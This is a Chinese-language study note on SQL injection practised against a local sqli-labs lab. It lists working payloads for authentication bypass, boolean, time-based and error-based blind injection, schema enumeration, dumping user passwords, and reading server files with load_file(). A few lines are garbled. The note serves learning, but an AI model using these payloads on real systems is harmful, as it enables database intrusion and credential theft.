sql注入学习笔记

sql注入

• 三大字符串拼接函数
  concat(str1,str2,…..)，无分隔符的连接字符

group_concat( ), —连接一个组的所有字符串，并以逗号分隔每一条数据
concat_ws( ),含有分隔符地连接字符串

• 常见注入语句

  • 列出所有数据库

1. group_concat(schema_name) from information_schema.schemata；

   • 列出某个库当中所有的表

2. group_concat(table_name) from information_schema.tables where table_schema=‘xxxxx’;

   • 猜出某表所有列
     Select column_name from information_schema.columns where table_name=“users”;
   • 获取某列内容
3. concat(id,username,password) from users;

• windows+phpstudy搭建环境（版本转化真的很方便）,但是好坑的是 记得关闭phpstudy 自动开启的 magic_quote_gpc 不然你的单引号都会被转义的，无法练习

• 基本注入情况（最简单）

  • ‘or 1=1 —+
  • or 1=1 —+
  • ‘) or 1=1 —+
  • “) or 1=1 —+

• 三大字符串截取函数（无回显的情况）

  • mid（column_name,start,length)

    • 从start开始截取一部分
    • str =“123456”
    • mid(str,2,1) # 2
    • MID(DATABASE(),1,1)>’a’

  • substr（string, start, length）

    • 同mid
    • substr(DATABASE(),1,1)>’a’

  • left（string，n）

    • 截取左侧开始指定个字符
    • left(database(),1)>’a’

  • ord（）/ascii（）返回第一个字符的ASCII码

    • 与前三个函数组合使用
    • ORD(MID(DATABASE(),1,1))>114，数据库名第一位的ASCII码是否大于114
• sql盲注之基于boolean的盲注----根据逻辑判断

http://10.37.129.3/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 --+
http://10.37.129.3/sqli-labs/Less-5/?id=1' and ORD(MID((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1)) = 68 --+

* 正则表达式攻击：^[a-z] 表示字符串中开始字符是在 a-z范围内

http://10.37.129.3/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+

    * select user() regexp '^ro’ 若用户名是user ，正确会返回1
    * index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
    * '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
    * 在limit 0,1下，regexp会匹配所有的项
    * select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的
    * select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确
* like 匹配注入
    * select user() like 'ro%';

• 基于报错的sql盲注———构造payload让信息通过错误回显显示出来

  • 通过floor（rand(0)2）来报错（组合使用 count groupby floor(rand(0)2)）分组后计数统计重复（虚表主键重复）导致的错误

    • floor（）取整函数
    • rand(0)*2 取0-2之间的随机函数
    • floor(rand(0)*2),有两条记录就会报错，三条以上报错是有规律的
    • select count() from information_schema.tables group by concat(version(),floor(rand(0)2));
      http://10.37.129.3/sqli-labs/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a --+

  • exp报错(复现没成功，虽然报错 DOUBLE value is out of range，但是无法执行子查询)

    • Exp()为以 e 为底的对数函数；版本在 5.5.5 及其以上
    • select exp(~(select * FROM(SELECT USER())a))。 //double 数值类型超出范围
    • exp注出表名 ：http://www.cnblogs. com/lcamry/articles/5509124.html

1. exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

   * 列名

2. exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

   * 查出数据

3. exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

* bigint 超出范围 (复现没成功，虽然报错 BIGINT UNSIGNED value is out of range，但是无法执行子查询)
    * http://www.cnblogs.com/lcamry/articles/5509112.html
    * 只有5.5.5及其以上版本的MySQL才会产生溢出错误消息
    * 数据类型BIGINT的长度为8字节，也就是说，长度为64比特
    * 对BIGINT进行某些数值运算的时候，比如加法，就会爆出“BIGINT value is out of range”错误。ps...select 1-~0;
    * 利用子查询引起BITINT溢出，从而设法提取数据。
    * select ~0+!(select*from(select user())x);

* extractvalue(1,concat(0x7e,(select @@version),0x7e))    
    * //mysql 对 xml 数据进行查询和修改的 xpath 函数，xpath 语法错误
    * extractvalue(‘anything’,’/x/xx’）第二个参数只要不是填入的路径格式的就会报错
    * extractvalue()能查询字符串的最大长度为32，超过的话用substring截取。

http://10.37.129.3/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

* updatexml(1,concat(0x7e,(select @@version),0x7e),1).  
    *    //mysql 对 xml 数据进行查询和修改的 xpath 函数，xpath 语法错误
    * updatexml(‘anything’,’/xx/xx’,’anything’)同上，参数格式不对报错，并解读错误语句内容

http://10.37.129.3/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

* select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
    * //mysql 重复特性，此处重复了 version，所以报错。

http://10.37.129.3/sqli-labs/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

• 时间盲注
  错误的时候五秒延迟...

http://10.37.129.3/sqli-labs/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))—+

* select sleep(find_in_set(mid(@@version, 9,.'));1,1), '0,1,2,3,4,5,6,7,8,
    * 0-9 之间找版本号的第一位，实际不太可行
* BENCHMARK(count,expr)用于测试函数的性能，参数一为次数，二为要执行的表达式。可以让函数执行若干次，返回结果比平时要长，通过时间长短的变化，判断语句是否执行成功。这是一种边信道攻击，在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
结果正确的时候，运行 ENCODE('MSG','by 5 seconds')操作 50000000 次，会占用一段时间。

http://10.37.129.3/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

sql注入中的导出和导入操作

• load_file()导出文件

  • 判断有无读取权限，文件是否可读

    • and (select count(*) from mysql.user)>0.
  • 欲读取文件必须在服务器上
  • 欲读取文件必须在服务器上
  • 欲读取文件必须小于 max_allowed_packet
  • mysql load_file()常用路径 http://www.cnblogs.com/lcamry/p/5729087.html

本文由 sengle 创作，采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外，均为本站原创或翻译，转载前请务必署名?>